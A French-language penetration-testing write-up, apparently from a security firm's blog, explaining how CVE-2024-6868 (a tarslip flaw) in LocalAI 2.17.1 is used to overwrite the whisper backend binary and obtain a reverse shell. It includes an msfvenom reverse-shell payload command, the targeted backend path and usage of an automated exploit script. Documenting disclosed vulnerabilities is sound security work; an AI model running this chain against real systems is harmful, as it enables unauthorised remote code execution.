← Back to all articles

LocalAI — RCE via Tarslip (CVE-2024-6868)

Comment nous avons obtenu un reverse shell sur LocalAI 2.17.1 en abusant de la fonctionnalité d'upload de fichiers de modèle pour écraser un binaire backend.

Dans ce writeup, nous détaillons les étapes pour obtenir un reverse shell sur LocalAI, la très célèbre alternative open-source à OpenAI.

LocalAI est un moteur d'IA auto-hébergé utilisé pour exécuter localement des modèles et générer du texte, de l'audio, des images et plus encore. Nous allons exploiter l'une de ses fonctionnalités qui permet à l'utilisateur d'uploader des fichiers additionnels que le modèle pourra utiliser.

Walkthrough de la machine

On commence par énumérer la machine avec un simple scan de ports.

image.png

image.png

Service HTTP sur le port 8080.

On visite le site.

image.png

La première chose qui saute aux yeux, c'est la version de LocalAI visible en bas de page, v2.17.1. Une recherche rapide pour vérifier si une vulnérabilité publique existe.

image.png

CVE-2024-6868 : la configuration du modèle LocalAI permet aux utilisateurs de spécifier des fichiers additionnels qui seront utilisés par le modèle. Si l'utilisateur envoie des archives, elles sont automatiquement extraites après leur téléchargement. Cela ouvre la porte à une attaque « tarslip » — écriture de fichiers dans des emplacements arbitraires, en contournant les contrôles qui auraient normalement maintenu tout le contenu dans le dossier des modèles.

Nous pouvons donc écrire n'importe quel fichier sur le serveur, à condition qu'il n'existe pas déjà. C'est déjà une vulnérabilité en soi, mais pour obtenir l'exécution de code il faut trouver un fichier que le service exécute, le supprimer, puis le remplacer par notre payload.

LocalAI copie les assets de backend dans /tmp/localai/backend_data/backend-assets. Ces fichiers sont accessibles en écriture par le serveur et exécutés au moment du chargement d'un modèle.

image.png

Écraser l'un de ces fichiers puis charger un modèle qui utilise le backend correspondant aboutit à une RCE simple.

Je recommande la lecture du rapport complet d'Ozelis, qui est à l'origine de la découverte : https://huntr.com/bounties/f91fb287-412e-4c89-87df-9e4b6e609647.

Exploitation manuelle

L'attaque se déroule en deux temps. D'abord on utilise une vulnérabilité de path traversal pour supprimer le binaire backend existant. Ensuite on utilise un tarslip en deux étapes pour déposer notre ELF malveillant à sa place.

Étape 1 — Créer un payload reverse shell

On génère un binaire ELF de reverse shell avec msfvenom et on le rend exécutable.

image.png

msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 -f elf -o pwn
chmod +x pwn

Étape 2 — Écraser le binaire backend whisper

On exécute le PoC tarslip pour supprimer le binaire whisper existant et le remplacer par notre payload.

image.png

Étape 3 — Télécharger un fichier .ogg d'exemple

Le modèle whisper a besoin d'un fichier audio à traiter. On télécharge un échantillon .ogg minimal pour déclencher le chargement du modèle.

image.png

Étape 4 — Uploader le modèle et injecter le backend malveillant

On installe le modèle whisper via /models/apply et on uploade notre binaire backend empoisonné à travers la chaîne tarslip.

image.png

Étape 5 — Démarrer le listener

Sur notre machine attaquante, on lance un listener netcat pour capter le shell entrant.

image.png

Étape 6 — Charger le modèle whisper

On envoie une requête de transcription à LocalAI. Cela déclenche le chargement du backend whisper — qui est maintenant notre ELF malveillant — et le reverse shell s'exécute.

image.png

pwned :>

image.png


Automatisation

Plutôt que d'exécuter chaque étape manuellement, nous avons automatisé la chaîne d'attaque complète avec un Makefile et un script exploit.py dédié.

Structure du projet

exploitation/LocalAI_v2.17.1/
├── exploit.py      # Automatisation complète de l'attaque (chaîne 5 étapes)
├── Makefile        # Raccourcis pour listener, attaque et vérification des dépendances
└── README.md       # Ce writeup

Fonctionnement

Le script exploit.py automatise l'attaque complète en 5 étapes :

  1. Génération du payload ELF via msfvenom linux/x64/shell_reverse_tcp
  2. Tarslip — suppression puis écrasement du binaire backend whisper à /tmp/localai/backend_data/backend-assets/grpc/whisper
  3. Génération d'un fichier audio .ogg minimal en local (sans dépendance réseau)
  4. Installation du modèle whisper via /models/apply et attente de sa disponibilité
  5. Déclenchement d'une transcription → LocalAI charge le binaire whisper malveillant → la RCE s'exécute

Utilisation

Terminal 1 — Démarrer le listener :

make listen

Terminal 2 — Vérifier les dépendances puis lancer l'attaque :

make check
make attack LISTENER_IP=<votre-ip>

Lancer le listener

image.png

Exécuter l'exploit

image.png

Récupérer le shell

image.png


Conclusion

Ce test d'intrusion démontre comment un attaquant peut tirer parti de la gestion non sécurisée des archives uploadées dans LocalAI pour écraser des binaires backend et obtenir une Remote Code Execution. La combinaison d'une vulnérabilité de path traversal et de l'extraction automatique des archives tar — sans validation des liens symboliques ni des destinations de fichiers — en fait une RCE non authentifiée puissante contre tout déploiement LocalAI exposé à Internet.

Want to test your own defenses?

Book a free high-level cybersecurity assessment with our team.

Get Started